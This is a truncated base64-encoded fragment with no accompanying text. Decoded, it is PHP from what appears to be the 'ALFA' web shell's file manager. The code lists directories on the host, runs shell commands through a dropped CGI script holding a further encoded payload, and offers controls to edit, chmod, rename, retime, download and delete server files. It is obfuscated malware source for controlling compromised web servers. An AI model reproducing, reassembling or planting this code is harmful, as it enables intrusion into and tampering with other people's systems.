kX1BPU1RbJ2MnXSk7DQpyZXR1cm47DQp9DQp9DQpicmVhazsNCn0NCn0NCiRkaXJDb250ZW50ID0gQHNjYW5kaXIoaXNzZXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7DQppZihwcmVnX21hdGNoKCIjKC4qKVwvXC5cLiMiLCAkX1BPU1RbJ2MnXSwgJHJlcykpew0KCSRwYXRoID0gZXhwbG9kZSgnLycsICRyZXNbMV0pOw0KCWFycmF5X3BvcCgkcGF0aCk7DQoJJF9QT1NUWydjJ10gPSBpbXBsb2RlKCcvJywgJHBhdGgpOw0KfQ0KJGNtZF9kaXIgPSBmYWxzZTsNCmlmKCRkaXJDb250ZW50ID09PSBmYWxzZSl7DQoJaWYoX2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKSl7DQoJCSR0bXBfZ2V0ZGlyX3BhdGggPSBAJF9DT09LSUVbImFsZmFjaGRpcl9iYXNoX3BhdGgiXTsNCgkJQGNoZGlyKGRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSk7DQoJCWlmKCFpc3NldCgkX0NPT0tJRVsiYWxmYWNoZGlyX2Jhc2giXSl8fEAhZmlsZV9leGlzdHMoJHRtcF9nZXRkaXJfcGF0aC4iL3VjZW5jZ2lhcGkvZ2V0ZGlyLmFsZmEiKSl7DQoJCQkkYmFzaCA9ICJqWlRmYjVzd0VNZWY0YSs0dWFZa1NtbVMvWXBFd3NPa3FWTmZPKzFoU3FLS2dnbld3STRNRWFGcHBMM3Z2OXhmVXRzWVNLcE1XaDZJNy9POU85dmNIVmZ2eHJ0Q2pKOG9HeGVwL2ZYK0ljQlQrLzd1ZTREZEZYTnRFcVVjMEJMWkNSZEFnVExBZzZ3QUx3UXNmWWR6aUxrTjhyY055elJBaW8weFJSclJCSlpMd0JTQ0FORHRMWUxyYS9EMk1yNUthWlNDSUdHY1VmWnJDT3YxSE1xVU1CM1ZKY09EMWdPOEJMQml3ODZEQmhwb082RzJSVm5DWlVSUmhpVjRFU0Ruem5kKytNNDMzeWw4NTZjL2NVTGYrWUxhTEphNm4rdTcrZ3pnQ1hXZFVJaXdoc1ZpQVFpcmJNaTJ5bnBMQW56UXluS3lQdXJkZU1XSTZPalUwSTNndTIxSDMwdHFGZlM1ai82Z1NNNWptdFFkKzJoaXQwVGtiSmQzL05NSlQzZDV5RHJsczFFWXFSNTcxWFdiMXlBTE5CZ0FwY0ZrTHA4TGZManFmSTZLakVZdzdBdjJKc3RJRnUvUVdUNm0xSjhlLy83KzA1UXk1b3k4UGROWnVLeEFVMjF6R1YzenlYUTJtNkcrdkpiVlhoVk5sR0pBa3cvRlFtNVg3ZVZEVlBLeEY1VjAwTFhWbWIxS0ZrYVZUeVZVcmFTWU9HRm5tMFE4NHlKQWVValo0MFlRd3ZSUlpVS1NtWFQvRlNvN3RTUjlhRUV1K0FnU3R4NzlhYkhxSGYwU1lpcElWSEpSbjIya1cwdHBKMGZxWXdUWjdMSlF5TTdPaUw3dXk4dGxCNUp2eS9yZmJrV2RQL0dNUnFDbTZNTCtPckE1dHA3end3cXhNQ2NyNU1OS1RzRUszY2gvNVdwSXMxUlFUNEdoWnEyd0hnT0R6VnBoTlFxR05rc0ZtMmt3dURXVVlKckVLSjNWU3JwZFRrUmp0N0l1ellsczdPT05yWnU0K1o0ZGptdjBDZz09IjsNCgkJCSR0bXBfZ2V0ZGlyX3BhdGggPSBhbGZhV3JpdGVUb2NnaWFwaSgiZ2V0ZGlyLmFsZmEiLCRiYXNoKTsNCgkJCV9fYWxmYV9zZXRfY29va2llKCJhbGZhY2hkaXJfYmFzaCIsICJ0cnVlIik7DQoJCQlfX2FsZmFfc2V0X2Nvb2tpZSgiYWxmYWNoZGlyX2Jhc2hfcGF0aCIsICR0bXBfZ2V0ZGlyX3BhdGgpOw0KCQl9DQoJCSRkaXJDb250ZW50ID0gYWxmYUV4KCJjZCAiLiR0bXBfZ2V0ZGlyX3BhdGguIi91Y2VuY2dpYXBpO3NoIGdldGRpci5hbGZhICciLmFkZHNsYXNoZXMoaXNzZXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSkuIiciKTsNCgkJJGRpckNvbnRlbnQgPSBqc29uX2RlY29kZSgkZGlyQ29udGVudCwgdHJ1ZSk7DQoJCWlmKGlzX2FycmF5KCRkaXJDb250ZW50KSl7DQoJCQlhcnJheV9wb3AoJGRpckNvbnRlbnQpOw0KCQkJJGNtZF9kaXIgPSB0cnVlOw0KCQl9ZWxzZXsNCgkJCSRkaXJDb250ZW50ID0gZmFsc2U7DQoJCX0NCgl9DQp9DQphbGZhaGVhZCgpOw0KQWxmYU51bSg4LDksMTAsNyw2LDUsNCk7DQokY291bnRfZGlyQ29udGVudCA9IEBjb3VudCgkZGlyQ29udGVudCk7DQppZigkY291bnRfZGlyQ29udGVudCA+IDMwMCl7DQoJQCRfQ09PS0lFWyJhbGZhX2xpbWl0ZWRfZmlsZXMiXSA9IDEwMDsNCn0NCiRhbGZhX3NvcnRfYnkgPSBpc3NldCgkX0NPT0tJRVsiYWxmYV9zb3J0X2J5Il0pID8gJF9DT09LSUVbImFsZmFfc29ydF9ieSJdIDogJ25hbWUnOw0KJGFsZmFfbGltaXRlZF9maWxlcyA9IGlzc2V0KCRfQ09PS0lFWyJhbGZhX2xpbWl0ZWRfZmlsZXMiXSkgPyAoaW50KSRfQ09PS0lFWyJhbGZhX2xpbWl0ZWRfZmlsZXMiXSA6IDA7DQokYWxmYV9maWxlc19wYWdlX251bWJlciA9IGlzc2V0KCRfUE9TVFsicGFnZW51bSJdKSA/IChpbnQpJF9QT1NUWyJwYWdlbnVtIl0gOiAxOw0KJGFsZmFfZmlsZXNtYW5fZGlyZWN0aW9uID0gaXNzZXQoJF9DT09LSUVbImFsZmFfZmlsZXNtYW5fZGlyZWN0aW9uIl0pID8gJF9DT09LSUVbImFsZmFfZmlsZXNtYW5fZGlyZWN0aW9uIl0gOiAnYXNjJzsNCiRmaWxlc19wYWdlX2NvdW50ID0gMTsNCmlmKCRhbGZhX2xpbWl0ZWRfZmlsZXMgPiAwKXsNCgkkZmlsZXNfcGFnZV9jb3VudCA9IGNlaWwoJGNvdW50X2RpckNvbnRlbnQvJGFsZmFfbGltaXRlZF9maWxlcyk7DQoJaWYoJGZpbGVzX3BhZ2VfY291bnQgPiAxKXsNCgkJJGZpbGVzX3BhZ2VfY291bnQrKzsNCgl9DQp9DQplY2hvICc8ZGl2PjxkaXYgY2xhc3M9ImZpbHRlcnMtaG9sZGVyIj48c3Bhbj5GaWx0ZXI6IDwvc3Bhbj48aW5wdXQgc3R5bGU9ImNvbG9yOiMyNWZmMDA7IiBhdXRvY29tcGxldGU9Im9mZiIgdHlwZT0idGV4dCIgaWQ9InJlZ2V4LWZpbHRlciIgbmFtZT0ibmFtZS1maWx0ZXIiIG9ua2V5ZG93bj0iZG9GaWx0ZXJOYW1lKHRoaXMpOyI+PHNwYW4gc3R5bGU9Im1hcmdpbi1sZWZ0OjEwcHgiPlNvcnQgQnk6IDwvc3Bhbj48c2VsZWN0IG5hbWU9InNvcnRfZmlsZXMiIG9uY2hhbmdlPSJzb3J0QnlTZWxlY3RlZFZhbHVlKHRoaXMsXCdhbGZhX3NvcnRfYnlcJyk7IiBzdHlsZT0iY29sb3I6IzI1ZmYwMDsiPjxvcHRpb24gdmFsdWU9Im5hbWUiICcuKCRhbGZhX3NvcnRfYnkgPT0gJ25hbWUnPydzZWxlY3RlZCc6JycpLic+TmFtZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InNpemUiICcuKCRhbGZhX3NvcnRfYnkgPT0gJ3NpemUnPydzZWxlY3RlZCc6JycpLic+U2l6ZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Im1vZGlmeSIgJy4oJGFsZmFfc29ydF9ieSA9PSAnbW9kaWZ5Jz8nc2VsZWN0ZWQnOicnKS4nPk1vZGlmeTwvb3B0aW9uPjwvc2VsZWN0PjxzcGFuIHN0eWxlPSJtYXJnaW4tbGVmdDoxMHB4Ij5EaXJlY3Rpb246IDwvc3Bhbj48c2VsZWN0IG5hbWU9ImRpcmVjdGlvbl9maWxlc21hbiIgb25DaGFuZ2U9InNvcnRCeVNlbGVjdGVkVmFsdWUodGhpcyxcJ2FsZmFfZmlsZXNtYW5fZGlyZWN0aW9uXCcpIiBzdHlsZT0iY29sb3I6IzI1ZmYwMDsiPjxvcHRpb24gdmFsdWU9ImFzYyIgJy4oJGFsZmFfZmlsZXNtYW5fZGlyZWN0aW9uID09ICdhc2MnPydzZWxlY3RlZCc6JycpLic+QXNjZW5kaW5nPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZGVzYyIgJy4oJGFsZmFfZmlsZXNtYW5fZGlyZWN0aW9uID09ICdkZXNjJz8nc2VsZWN0ZWQnOicnKS4nPkRlc2NlbmRpbmc8L29wdGlvbj48L3NlbGVjdD48c3BhbiBzdHlsZT0ibWFyZ2luLWxlZnQ6MTBweDsiPiBsaW1pdDogPC9zcGFuPjxpbnB1dCBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7d2lkdGg6IDQwcHg7Y29sb3I6IzI1ZmYwMDsiIHR5cGU9InRleHQiIG5hbWU9ImxpbWl0ZWRfbnVtYmVyIiB2YWx1ZT0iJy4kYWxmYV9saW1pdGVkX2ZpbGVzLiciIG9uaW5wdXQ9InRoaXMudmFsdWU9dGhpcy52YWx1ZS5yZXBsYWNlKC9bXjAtOV0vZyxcJ1wnKTtzZXRDb29raWUoXCdhbGZhX2xpbWl0ZWRfZmlsZXNcJywgdGhpcy52YWx1ZSwgMjAxMik7Ij48c3BhbiBzdHlsZT0ibWFyZ2luLWxlZnQ6MTBweDsiPkZpbGVzIENvdW50OiA8YiBzdHlsZT0iY29sb3I6IzI1ZmYwMDsiPicuKCRjb3VudF9kaXJDb250ZW50LTEpLic8L2I+PC9zcGFuPjwvZGl2PjxkaXYgY2xhc3M9ImhlYWRlciI+JzsNCmlmKCRkaXJDb250ZW50ID09IGZhbHNlKXsNCmVjaG8gJzxjZW50ZXI+PGJyPjxzcGFuIHN0eWxlPSJmb250LXNpemU6MTZweDsiPjxzcGFuIHN0eWxlPSJjb2xvcjogcmVkOyAtd2Via2l0LXRleHQtc2hhZG93OiAxcHggMXB4IDEzcHg7Ij48c3Ryb25nPjxiPjxiaWc+ISEhIEFjY2VzcyBEZW5pZWQgISEhPC9iPjwvYmlnPjxicj48YnI+PC9zdHJvbmc+PC9kaXY+JzsNCmFsZmFGb290ZXIoKTsNCnJldHVybjsNCn0NCmdsb2JhbCAkc29ydDsNCiRzb3J0ID0gYXJyYXkoJ25hbWUnLCAxKTsNCmlmKGlzc2V0KCRfQ09PS0lFWyJhbGZhX3NvcnRfYnkiXSkgJiYgIWVtcHR5KCRfQ09PS0lFWyJhbGZhX3NvcnRfYnkiXSkpew0KCSRzb3J0WzBdID0gJF9DT09LSUVbImFsZmFfc29ydF9ieSJdOw0KfQ0KaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkpIHsNCmlmKHByZWdfbWF0Y2goJyFzXyhbQS16XSspXyhcZHsxfSkhJywgJF9QT1NUWydhbGZhMSddLCAkbWF0Y2gpKQ0KJHNvcnQgPSBhcnJheSgkbWF0Y2hbMV0sIChpbnQpJG1hdGNoWzJdKTsNCn0NCmlmKCRhbGZhX2ZpbGVzX3BhZ2VfbnVtYmVyID4gKCRmaWxlc19wYWdlX2NvdW50LTEpKXsNCgkkYWxmYV9maWxlc19wYWdlX251bWJlciA9IDE7DQp9DQokY2hlY2tib3hfcmFuZCA9IHJhbmQoMTExMTEsIDk5OTk5KTsNCmVjaG8gIjxmb3JtIG9uc3VibWl0PSdmYyh0aGlzKTtyZXR1cm4gZmFsc2U7JyBuYW1lPSdmaWxlcycgbWV0aG9kPSdwb3N0Jz48dGFibGUgaWQ9J2ZpbGVtYW5hZ2VyX3RhYmxlJyB3aWR0aD0nMTAwJScgY2xhc3M9J21haW4nIGNlbGxzcGFjaW5nPScwJyBjZWxscGFkZGluZz0nMic+PHRyPjx0aCB3aWR0aD0nMTNweCc+PGRpdiBjbGFzcz0nbXlDaGVja2JveCcgc3R5bGU9J3BhZGRpbmctbGVmdDowcHg7Jz48aW5wdXQgdHlwZT0nY2hlY2tib3gnIGlkPSdtY2hrIi4kY2hlY2tib3hfcmFuZC4iJyBvbmNsaWNrPSdjaGVja0JveCh0aGlzKTsnIGNsYXNzPSdjaGtieCc+PGxhYmVsIGZvcj0nbWNoayIuJGNoZWNrYm94X3JhbmQuIic+PC9sYWJlbD48L2Rpdj48L3RoPjx0aD5OYW1lPC90aD48dGg+U2l6ZTwvdGg+PHRoPk1vZGlmeTwvdGg+PHRoPk93bmVyL0dyb3VwPC90aD48dGg+UGVybWlzc2lvbnM8L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPiI7DQokZGlycyA9ICRmaWxlcyA9IGFycmF5KCk7DQokbiA9ICRjb3VudF9kaXJDb250ZW50Ow0KaWYoJG4gPiAkYWxmYV9saW1pdGVkX2ZpbGVzICYmICRhbGZhX2xpbWl0ZWRfZmlsZXMgPiAwKXsNCgkkbiA9ICgkYWxmYV9saW1pdGVkX2ZpbGVzICogJGFsZmFfZmlsZXNfcGFnZV9udW1iZXIpOw0KCWlmKCRuID4gJGNvdW50X2RpckNvbnRlbnQpew0KCQkkbiA9ICRjb3VudF9kaXJDb250ZW50Ow0KCX0NCn0NCiRpID0gMDsNCmlmKCRhbGZhX2xpbWl0ZWRfZmlsZXMgPiAwICYmICRhbGZhX2ZpbGVzX3BhZ2VfbnVtYmVyID4gMSl7DQoJJGkgPSAkYWxmYV9saW1pdGVkX2ZpbGVzICogKCRhbGZhX2ZpbGVzX3BhZ2VfbnVtYmVyIC0gMSk7DQp9DQokcGFnZV9idWlsZGVyID0gZ2V0X3BhZ2luYXRpb25fbGlua3MoJGFsZmFfZmlsZXNfcGFnZV9udW1iZXIsJGZpbGVzX3BhZ2VfY291bnQgLTEpOw0KJGNtZF9kaXJfYmFja3AgPSAiIjsNCmZvcig7JGk8JG47JGkrKyl7DQppZigkY21kX2Rpcil7DQokZmlsZW5hbWUgPSAkZGlyQ29udGVudFskaV1bIm5hbWUiXTsNCiRmaWxlX293bmVyID0gJGRpckNvbnRlbnRbJGldWyJvd25lciJdOw0KJGZpbGVfZ3JvdXAgPSAkZGlyQ29udGVudFskaV1bImdyb3VwIl07DQokZmlsZV9tb2RpZnkgPSBAZGF0ZSgnWS1tLWQgSDppOnMnLCAkZGlyQ29udGVudFskaV1bIm1vZGlmeSJdKTsNCiRmaWxlX3Blcm0gPSBhbGZhUGVybXNDb2xvcihhcnJheSgiY2xhc3MiPT4kZGlyQ29udGVudFskaV1bInBlcm1jb2xvciJdLCJudW0iPT4kZGlyQ29udGVudFskaV1bInBlcm1udW0iXSwiaHVtYW4iPT4kZGlyQ29udGVudFskaV1bInBlcm1odW1hbiJdKSx0cnVlKTsNCiRmaWxlX3NpemUgPSAkZGlyQ29udGVudFskaV1bInNpemUiXTsNCmlmKHN1YnN0cigkZGlyQ29udGVudFskaV1bIm5hbWUiXSwgMCAsMSkgPT0gIi8iKXsNCiRmaWxlX3BhdGggPSAkZGlyQ29udGVudFskaV1bIm5hbWUiXTsNCiRkaXJDb250ZW50WyRpXVsibmFtZSJdID0gIi4uIjsNCiRmaWxlbmFtZSA9ICRkaXJDb250ZW50WyRpXVsibmFtZSJdOw0KfWVsc2V7DQokZmlsZV9wYXRoID0gJEdMT0JBTFNbJ2N3ZCddLiIvIi4kZGlyQ29udGVudFskaV1bIm5hbWUiXTsNCn0NCn1lbHNlew0KJGZpbGVuYW1lID0gJGRpckNvbnRlbnRbJGldOw0KJG93ID0gZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpJiZmdW5jdGlvbl9leGlzdHMoImZpbGVvd25lciIpP0Bwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRHTE9CQUxTWydjd2QnXS4kZmlsZW5hbWUpKTphcnJheSgibmFtZSIgPT4gIj8/Pz8iKTsNCiRnciA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJmaWxlZ3JvdXAiKT9AcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkR0xPQkFMU1snY3dkJ10uJGZpbGVuYW1lKSk6YXJyYXkoIm5hbWUiID0+ICI/Pz8/Iik7DQokZmlsZV9vd25lciA9ICRvd1snbmFtZSddPyRvd1snbmFtZSddOihmdW5jdGlvbl9leGlzdHMoImZpbGVvd25lciIpP0BmaWxlb3duZXIoJEdMT0JBTFNbJ2N3ZCddLiRmaWxlbmFtZSk6Ij8/Pz8iKTsNCiRmaWxlX2dyb3VwID0gJGdyWyduYW1lJ10/JGdyWyduYW1lJ106KGZ1bmN0aW9uX2V4aXN0cygiZmlsZWdyb3VwIik/QGZpbGVncm91cCgkR0xPQkFMU1snY3dkJ10uJGZpbGVuYW1lKToiPz8/PyIpOw0KJGZpbGVfbW9kaWZ5ID0gQGRhdGUoJ1ktbS1kIEg6aTpzJywgQGZpbGVtdGltZSgkR0xPQkFMU1snY3dkJ10gLiAkZmlsZW5hbWUpKTsNCiRmaWxlX3Blcm0gPSBhbGZhUGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10uJGZpbGVuYW1lKTsNCiRmaWxlX3NpemUgPSBAZmlsZXNpemUoJEdMT0JBTFNbJ2N3ZCddLiRmaWxlbmFtZSk7DQokZmlsZV9wYXRoID0gJEdMT0JBTFNbJ2N3ZCddLiRmaWxlbmFtZTsNCn0NCiR0bXAgPSBhcnJheSgnbmFtZScgPT4gJGZpbGVuYW1lLA0KJ3BhdGgnID0+ICRmaWxlX3BhdGgsDQonbW9kaWZ5JyA9PiAkZmlsZV9tb2RpZnksDQoncGVybXMnID0+ICRmaWxlX3Blcm0sDQonc2l6ZScgPT4gJGZpbGVfc2l6ZSwNCidvd25lcicgPT4gJGZpbGVfb3duZXIsDQonZ3JvdXAnID0+ICRmaWxlX2dyb3VwDQopOw0KaWYoJGZpbGVuYW1lID09ICIuLiIgJiYgISRjbWRfZGlyKXsNCgkkdG1wWyJwYXRoIl0gPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsIHJlYWxwYXRoKCRmaWxlX3BhdGgpKTsNCn0NCmlmKCEkY21kX2Rpcil7DQppZihAaXNfZmlsZSgkZmlsZV9wYXRoKSl7DQokYXJyX21yZyA9IGFycmF5KCd0eXBlJyA9PiAnZmlsZScpOw0KaWYoQGlzX2xpbmsoJGZpbGVfcGF0aCkpew0KJGFycl9tcmdbImxpbmsiXSA9IHJlYWRsaW5rKCR0bXBbJ3BhdGgnXSk7DQp9DQokZmlsZXNbXSA9IGFycmF5X21lcmdlKCR0bXAsICRhcnJfbXJnKTsNCn1lbHNlaWYoQGlzX2xpbmsoJGZpbGVfcGF0aCkpew0KJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnbGluaycsICdsaW5rJyA9PiByZWFkbGluaygkdG1wWydwYXRoJ10pKSk7DQp9ZWxzZWlmKEBpc19kaXIoJGZpbGVfcGF0aCkmJiAoJGZpbGVuYW1lICE9ICIuIikpew0KJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZGlyJykpOw0KfQ0KfWVsc2V7DQoJaWYoJGRpckNvbnRlbnRbJGldWyJ0eXBlIl09PSJmaWxlIil7DQoJCSRmaWxlc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdmaWxlJykpOw0KCX1lbHNlew0KCQlpZigkZGlyQ29udGVudFskaV1bIm5hbWUiXSAhPSAiLiIpew0KCQkJJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZGlyJykpOw0KCQl9DQoJfQ0KfQ0KfQ0KJEdMT0JBTFNbJ3NvcnQnXSA9ICRzb3J0Ow0KZnVuY3Rpb24gYWxmYUNtcCgkYSwgJGIpIHsNCmlmKCRHTE9CQUxTWydzb3J0J11bMF0gIT0gJ3NpemUnKQ0KcmV0dXJuIHN0cmNtcChzdHJ0b2xvd2VyKCRhWyRHTE9CQUxTWydzb3J0J11bMF1dKSwgc3RydG9sb3dlcigkYlskR0xPQkFMU1snc29ydCddWzBdXSkpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOw0KZWxzZQ0KcmV0dXJuICgoJGFbJ3NpemUnXSA8ICRiWydzaXplJ10pID8gLTEgOiAxKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsNCn0NCnVzb3J0KCRmaWxlcywgImFsZmFDbXAiKTsNCnVzb3J0KCRkaXJzLCAiYWxmYUNtcCIpOw0KaWYoaXNzZXQoJF9DT09LSUVbImFsZmFfZmlsZXNtYW5fZGlyZWN0aW9uIl0pJiYgIWVtcHR5KCRfQ09PS0lFWyJhbGZhX2ZpbGVzbWFuX2RpcmVjdGlvbiJdKSl7DQoJaWYoJF9DT09LSUVbImFsZmFfZmlsZXNtYW5fZGlyZWN0aW9uIl0gPT0gJ2Rlc2MnKXsNCgkJJGZpbGVzID0gYXJyYXlfcmV2ZXJzZSgkZmlsZXMpOw0KCQkkZGlycyA9IGFycmF5X3JldmVyc2UoJGRpcnMpOw0KCX0NCn0NCiRmaWxlcyA9IGFycmF5X21lcmdlKCRkaXJzLCAkZmlsZXMpOw0KJGw9MDsNCiRjYz0wOw0KZm9yZWFjaCgkZmlsZXMgYXMgJGYpew0KJGZbJ25hbWUnXSA9IGh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSk7DQokbmV3bmFtZSA9IG1iX3N0cmxlbigkZlsnbmFtZSddLCAnVVRGLTgnKT42MD9tYl9zdWJzdHIoJGZbJ25hbWUnXSwgMCwgNjAsICd1dGYtOCcpLicuLi4nOiRmWyduYW1lJ107DQokY2hlY2tib3ggPSAnY2hlY2tib3hfJy4kY2hlY2tib3hfcmFuZC4kY2M7DQokcmF3X25hbWUgPSByYXd1cmxlbmNvZGUoJGZbJ25hbWUnXSk7DQokaWNvbiA9ICRHTE9CQUxTWydEQl9OQU1FJ11bJ3Nob3dfaWNvbnMnXT8nPGltZyBzcmM9IicuZmluZGljb24oJGZbJ25hbWUnXSwkZlsndHlwZSddKS4nIiB3aWR0aD0iMzAiIGhlaWdodD0iMzAiPic6Jyc7DQokc3R5bGUgPSAkR0xPQkFMU1snREJfTkFNRSddWydzaG93X2ljb25zJ10/J3Bvc2l0aW9uOnJlbGF0aXZlO2Rpc3BsYXk6aW5saW5lLWJsb2NrO2JvdHRvbToxMnB4Oyc6Jyc7DQplY2hvICc8dHIgY2xhc3M9ImZtYW5hZ2VyLXJvdyIgaWQ9InRyX3Jvd18nLiRjYy4nIj48dGQ+PGRpdiBjbGFzcz0ibXlDaGVja2JveCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJmW10iIHZhbHVlPSInLiRyYXdfbmFtZS4nIiBjbGFzcz0iY2hrYngiIGlkPSInLiRjaGVja2JveCAuJyI+PGxhYmVsIGZvcj0iJy4kY2hlY2tib3ggLiciPjwvbGFiZWw+PC9kaXY+PC90ZD48dGQgaWQ9InRkX3Jvd18nLiRjYy4nIj4nLiRpY29uLic8ZGl2IHN0eWxlPSInLiRzdHlsZS4nIj48YSByb3c9IicuJGNjLiciIGlkPSJpZF8nLiRjYy4nIiBjbGFzcz0ibWFpbl9uYW1lIiBvbmNsaWNrPSInLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLFwnYXV0b1wnLFwnXCcsXCdcJyxcJ1wnLFwnJy4kZlsndHlwZSddLidcJyk7IiBocmVmPSIjYWN0aW9uPWZpbGVtYW4mcGF0aD0nLiRHTE9CQUxTWydjd2QnXS4nJmZpbGU9Jy4kcmF3X25hbWUuJyIgZm5hbWU9IicuJHJhd19uYW1lLiciIGZ0eXBlPSJmaWxlIiBwYXRoPSInLiRHTE9CQUxTWydjd2QnXS4nIiBvcHRfdGl0bGU9IicuJGZbJ2xpbmsnXS4nIiAnLihpc3NldCgkZlsnbGluayddKT8nb25tb3VzZW92ZXI9InNob3dTeW1saW5rUGF0aCh0aGlzLGV2ZW50KTsiIG9ubW91c2VvdXQ9ImhpZGVTeW1saW5rUGF0aCh0aGlzLGV2ZW50KTsiJzonJykuJz4nLigkR0xPQkFMU1snY3dkJ10uJGZbJ25hbWUnXT09JEdMT0JBTFNbJ19fZmlsZV9wYXRoJ10/IjxzcGFuIGNsYXNzPSdzaGVsbF9uYW1lJyBzdHlsZT0nZm9udC13ZWlnaHQ6dW5zZXQ7Jz4iLiRmWyduYW1lJ10uIjwvc3Bhbj4iOmh0bWxzcGVjaWFsY2hhcnMoJG5ld25hbWUpKTonZyhcJ0ZpbGVzTWFuXCcsXCcnLiRmWydwYXRoJ10uJ1wnKTsiIGhyZWY9IiNhY3Rpb249ZmlsZW1hbiZwYXRoPScuJGZbJ3BhdGgnXS4nIiBmbmFtZT0iJy4kcmF3X25hbWUuJyIgZnR5cGU9ImZvbGRlciIgcGF0aD0iJy4kR0xPQkFMU1snY3dkJ10uJyIgb3B0X3RpdGxlPSInLiRmWydsaW5rJ10uJyIgJy4oaXNzZXQoJGZbJ2xpbmsnXSk/J29ubW91c2VvdmVyPSJzaG93U3ltbGlua1BhdGgodGhpcyxldmVudCk7IiBvbm1vdXNlb3V0PSJoaWRlU3ltbGlua1BhdGgodGhpcyxldmVudCk7Iic6JycpLic+PGI+fCAnIC4gaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKSAuICcgfDwvYj4nKS4nPC9hPjwvdGQ+PC9kaXY+PHRkPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSJtYWluX3NpemUiPicuKCgkZlsndHlwZSddPT0nZmlsZScpPyhpc3NldCgkZlsnbGluayddKT8nW0xdICc6JycpLmFsZmFTaXplKCRmWydzaXplJ10pOiRmWyd0eXBlJ10pLic8L3NwYW4+PC90ZD48dGQ+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyIgY2xhc3M9Im1haW5fbW9kaWZ5Ij4nLiRmWydtb2RpZnknXS4nPC9zcGFuPjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSJtYWluX293bmVyX2dyb3VwIj4nLiRmWydvd25lciddLicvJy4kZlsnZ3JvdXAnXS4nPC9zcGFuPjwvdGQ+PHRkPjxhIGlkPSJpZF9jaG1vZGVfJy4kY2MuJyIgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLFwnY2htb2RcJyxcJ1wnLFwnXCcsXCdcJyxcJycuJGZbJ3R5cGUnXS4nXCcpIj4nLg0KJGZbJ3Blcm1zJ10uJzwvdGQ+PHRkPjxhIGlkPSJpZF9yZW5hbWVfJy4kY2MuJyIgdGl0bGU9IlJlbmFtZSIgY2xhc3M9ImFjdGlvbnMiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImVkaXRvcihcJycuJHJhd19uYW1lLidcJywgXCdyZW5hbWVcJyxcJ1wnLFwnXCcsXCdcJyxcJycuJGZbJ3R5cGUnXS4nXCcpIj5SPC9hPiA8YSBpZD0iaWRfdG91Y2hfJy4kY2MuJyIgdGl0bGU9Ik1vZGlmeSBEYXRldGltZSIgY2xhc3M9ImFjdGlvbnMiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImVkaXRvcihcJycuJHJhd19uYW1lLidcJywgXCd0b3VjaFwnLFwnXCcsXCdcJyxcJ1wnLFwnJy4kZlsndHlwZSddLidcJykiPlQ8L2E+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/JyA8YSBpZD0iaWRfZWRpdF8nLiRjYy4nIiBjbGFzcz0iYWN0aW9ucyIgdGl0bGU9IkVkaXQiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImVkaXRvcihcJycuJHJhd19uYW1lLidcJywgXCdlZGl0XCcsXCdcJyxcJ1wnLFwnXCcsXCcnLiRmWyd0eXBlJ10uJ1wnKSI+RTwvYT4gPGEgaWQ9ImlkX2Rvd25sb2FkXycuJGNjLiciIHRpdGxlPSJEb3dubG9hZCIgY2xhc3M9ImFjdGlvbnMiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycuJHJhd19uYW1lLidcJywgXCdkb3dubG9hZFwnKSI+RDwvYT4nOicnKS4nPGEgaWQ9ImlkX2RlbGV0ZV8nLiRjYy4nIiB0aXRsZT0iRGVsZXRlIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0idmFyIGNoayA9IGNvbmZpcm0oXCdBcmUgWW91IFN1cmUgRm9yIERlbGV0ZSAjICcuYWRkc2xhc2hlcyhyYXd1cmxkZWNvZGUoJGZbJ25hbWUnXSkpLicgIyA/XCcpOyBjaGsgPyBnKFwnRmlsZXNNYW5cJyxudWxsLFwnZGV